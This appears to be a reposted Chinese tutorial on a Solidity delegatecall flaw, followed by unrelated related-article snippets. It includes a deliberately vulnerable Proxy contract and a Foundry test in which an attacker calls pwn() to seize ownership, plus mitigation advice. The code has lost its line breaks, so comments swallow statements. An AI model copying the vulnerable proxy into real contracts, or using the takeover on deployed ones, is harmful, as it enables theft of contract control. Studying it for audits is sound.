SolidityFoundry 安全审计测试 Delegatecall漏洞

名称:Delegatecall漏洞

描述:

代理合约所有者操纵漏洞,是智能合约设计中的一个缺陷,允许攻击者操纵代理合约所有者。该漏洞允许攻击者操纵代理合约的所有者(这里我们把所有者硬编码为 0xdeadbeef)。漏洞产生的原因是在代理合约的回退函数中使用了 delegatecall。delegatecall 允许攻击者在代理合约的上下文中调用代理合约的 pwn() 函数,从而更改代理合约的所有者状态变量的值。

过程:

  • 分别部署 Delegate合约和Proxy合约;
  • 攻击者 Alice调用 Proxyfallback函数,成功将 Proxy合约中的 owner 改成自己。

        Alice去调用 Proxy.pwn() ,发现 Proxy合约中并没有 pwn 函数,此时触发 HackMe.fallback() ,Proxy.fallback() 又使用 deldegatecall 调用 Delegate合约中的函数,函数名取得是 msg.data 也就是 "pwn()",而 Delegate合约中恰好有名为 pwn 的函数,该函数的作用是将合约中的 owner 修改为 msg.sender。delegatecall 函数的执行环境是调用者的环境,并且对于 storage 变量的修改是根据被调用的合约的插槽位置来修改的。

解决方法:

在使用 delegatecall 时应注意被调用合约的地址不能是可控的;

在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用 delegatecall 进行外部调时会根据被调用合约的数据结构来用修改本合约相应 slot 中存储的数据,在数据结构发生变化时这可能会造成非预期的变量覆盖。

proxy合约:

contract Proxy {address public owner = address(0xdeadbeef); // slot0Delegate delegate;constructor(address _delegateAddress) public {delegate = Delegate(_delegateAddress);}fallback() external {(bool suc, ) = address(delegate).delegatecall(msg.data); // vulnerablerequire(suc, "Delegatecall failed");}
}

Delegate:

contract Delegate {// The owner of the contract.address public owner; // slot0// The pwn function, which sets the owner of the contract to the message sender.function pwn() public {owner = msg.sender;}
}

foundry测试代码:

// Test function for a scenario where delegatecall is used.
function testDelegatecall() public {// Initialize a new Delegate contract, which is the "logic contract".DelegateContract = new Delegate(); // Initialize a new Proxy contract, passing the address of the Delegate contract to its constructor. This is the "proxy contract".proxy = new Proxy(address(DelegateContract)); // Log Alice's address.console.log("Alice address", alice);// Log the owner of the Proxy contract.console.log("DelegationContract owner", proxy.owner());// Log the start of the operation to change the owner of the Proxy contract.console.log("Change DelegationContract owner to Alice...");// Set the message sender to Alice.vm.prank(alice);// Call the pwn function of the Delegate contract through a delegatecall. This is the exploit.address(proxy).call(abi.encodeWithSignature("pwn()")); // Proxy.fallback() will delegatecall Delegate.pwn(), making Alice the owner of the Proxy contract.// Log the new owner of the Proxy contract.console.log("DelegationContract owner", proxy.owner());// Log the completion of the exploit.console.log("Exploit completed, proxy contract storage has been manipulated");
}// The Delegate contract, which contains the code that can be called via delegatecall.
contract Delegate {// The owner of the contract.address public owner; // slot0// The pwn function, which sets the owner of the contract to the message sender.function pwn() public {owner = msg.sender;}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/25246.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

牛客多校Ancestor(lca,集合的lca)

题目描述 NIO is playing a game about trees. The game has two trees A,BA, BA,B each with NNN vertices. The vertices in each tree are numbered from 111 to NNN and the iii-th vertex has the weight viv_ivi​. The root of each tree is vertex 1. Given KKK key n…

PHP实名认证接口开发示例、银行卡实名认证API

在互联网技术多元化、高速的发展下,催生出在挑战中不断奋勇前进的互联网企业。但不能忽视的是,互联网技术的快速迭代也会使部分企业在冲击中败下阵来,面临淘汰的危机。随着O2O、共享经济等新兴商业形式的兴起,企业对实名认证业务的…

如何使用Python中的列表解析(list comprehension)进行高效列表操作

Python中的列表解析(list comprehension)是一种创建列表的简洁方法,它可以在单行代码中执行复杂的循环和条件逻辑。列表解析提供了一种快速且易于阅读的方式来生成新的列表。 以下是一些使用列表解析进行高效列表操作的示例: 1.…

用Python编写自动发送每日电子邮件报告的脚本

为了用 Python 编写自动发送每日电子邮件报告的脚本,你可以使用 smtplib 库来发送电子邮件,使用 email 库来创建电子邮件内容。此外,你可以使用 schedule 库来安排每天发送邮件的任务。以下是一个示例脚本以及如何设置和运行它的指导。 步骤…

JSON如何处理包含特殊字符的字段

在JSON中处理包含特殊字符的字段时,你通常不需要直接处理这些特殊字符,因为JSON格式本身就会对特殊字符进行转义。当你使用编程语言或工具来生成或解析JSON时,这些转义通常是自动处理的。 然而,如果你需要手动处理或理解这些转义…

华为策略流控

以下脚本仅做参考,具体IP地址和接口请按照现场实际情况写入。 [Huawei]acl 3001 [Huawei-acl-adv-3001]rule permit ip source 192.168.1.10 0.0.0.0 destination 192.168.2.10 0.0.0.0 //匹配需要做测试的源和目标地址 [Huawei-acl-adv-3001]rule permit ip sour…

[AIGC] CompletableFuture的重要方法有哪些?

CompletableFuture具有多种方法&#xff0c;使其成为异步编程的强大工具。在这里&#xff0c;我们将介绍一些最重要和常用的方法&#xff1a; CompletableFuture<T> supplyAsync(Supplier<T> supplier): 使用ForkJoinPool.commonPool()作为线程池来异步执行Suppile…

力扣2781.最长合法子字符串的长度

力扣2781.最长合法子字符串的长度 将字符串数组存入哈希表 枚举所有右端点反向遍历子串在哈希表中找所有以i为右端点的字符串若找到相同子串 更新j k 1 class Solution {public:int longestValidSubstring(string word, vector<string>& forbidden) {unordered_…

【马琴绿绮】马维衡古琴之马氏汉风 明代杉木制;周身髹朱红色漆

【马琴绿绮式】马维衡古琴之马氏汉风 明代杉木制&#xff1b;琴体周身髹朱红色漆&#xff0c;鹿角霜灰胎&#xff1b;形体壮硕、风格高古&#xff1b;音色松透、浑厚&#xff0c;音质纯净&#xff0c;按弹舒适&#xff0c;手感丝滑。

C++ 课堂实验 读取a.txt中文本,统计文本中字母数量

题目描述:读取a.txt中文本&#xff0c;统计文本中字母数量。 相关知识&#xff08;略&#xff09; 编程要求 根据提示&#xff0c;在右侧编辑器Begin-End处补充代码&#xff0c;完成本关要求。 测试说明 输入 读取a.txt读入文本 如&#xff1a; abc abc 输出 输出文本中字母数…

Effective Java 2 遇到多个构造器参数时要考虑使用构建器

第2个经验法则&#xff1a;用遇到多个构造器参数时要考虑使用构建器&#xff08;consider a builder when faced with many constructor parameters&#xff09; 上一条讨论了静态工厂相对于构造器来说有五大优势。但静态工厂和构造器有个共同的局限性:它 们都不能很好地扩展到…

华为坤灵路由器初始化的几个坑,含NAT配置

1、aaa密码复杂度修改&#xff1a; #使能设备对密码进行四选三复杂度检查功能。 <HUAWEI>system-view [HUAWEI]aaa [HUAWEI-aaa]local-aaa-user password policy administrator [HUAWEI-aaa-lupp-admin]password complexity three-of-kinds 2、本地用户名长度必须大…

springcloudalibaba项目注册nacos,在nacos上修改配置项不生效问题

一、背景 之前的项目启动正常,后来发现springcloudalibaba的各版本匹配不正确,于是对项目中的springboot、springcloud、springcloudalibaba版本进行匹配升级,nacos1.4.2匹配的springboot、springcloud、springcloudalibaba版本与我的项目中的版本比较接近,于是我便重新安…

零基础入门篇①⑦ Python可变序列类型--集合

Python从入门到精通系列专栏面向零基础以及需要进阶的读者倾心打造,9.9元订阅即可享受付费专栏权益,一个专栏带你吃透Python,专栏分为零基础入门篇、模块篇、网络爬虫篇、Web开发篇、办公自动化篇、数据分析篇…学习不断,持续更新,火热订阅中🔥专栏限时一个月(5.8~6.8)重…

某国有投资集团用人机制改革项目成功案例纪实

——引入淘汰机制&#xff0c;优化用人机制&#xff0c;有效传导压力 【客户行业】国有企业 【问题类型】用人机制改革 【客户背景】 某集团位于北方三线城市&#xff0c;是面向工业领域的综合类国有资本投资公司&#xff0c;集团员工数千人&#xff0c;部门十余个&#xf…

[方法] 《鸣潮》/《原神》呼出与锁定光标的功能细节

本方法适用于Cinemachine - FreeLook。 1. 锁定与呼出光标的功能实现 // 锁定光标 private void LockMouse() {// 将光标锁定在屏幕中间Cursor.lockState CursorLockMode.Locked;// 隐藏光标Cursor.visible false; }// 呼出光标 private void UnLockMouse() {// 释放光标Cu…

算法家族之一——二分法

目录 算法算法的打印效果如果算法里的整型“i”为1如果算法里的整型“i”为11 算法的流程图算法的实际应用总结 大家好&#xff0c;我叫 这是我58&#xff0c;现在&#xff0c;请看下面的算法。 算法 #define _CRT_SECURE_NO_WARNINGS 1//<--预处理指令 #include <stdi…

MyBatis使用MySQL5和MySQL8的用法

MySQL5: 添加依赖&#xff1a; <dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>5.1.47</version></dependency> 配置数据库&#xff1a; <!-- 配置连接数据库的信息&…

中国宠业新锐品牌展,2024苏州国际宠物展6月28日开展!

中国宠业新锐品牌展&#xff0c;2024苏州国际宠物展6月28日开展&#xff01; ​ 第2届华东国际宠物用品展览会(苏州)暨中国宠业新锐品牌展&#xff0c;将于6月28日-30日在苏州国际博览中心盛大举办&#xff0c;锁定年中市场黄金档期&#xff0c;同期以“NB展&#xff0c;更新鲜…

ObjectARX打印当前图纸为PDF(亲测有效)

CAD二次开发定制ObjectARX安装配置AutoCAD插件ZWCAD插件C++ //----------------------------------------------------------------------------- //----- acrxEntryPoint.cpp //----------------------------------------------------------------------------- #include &quo…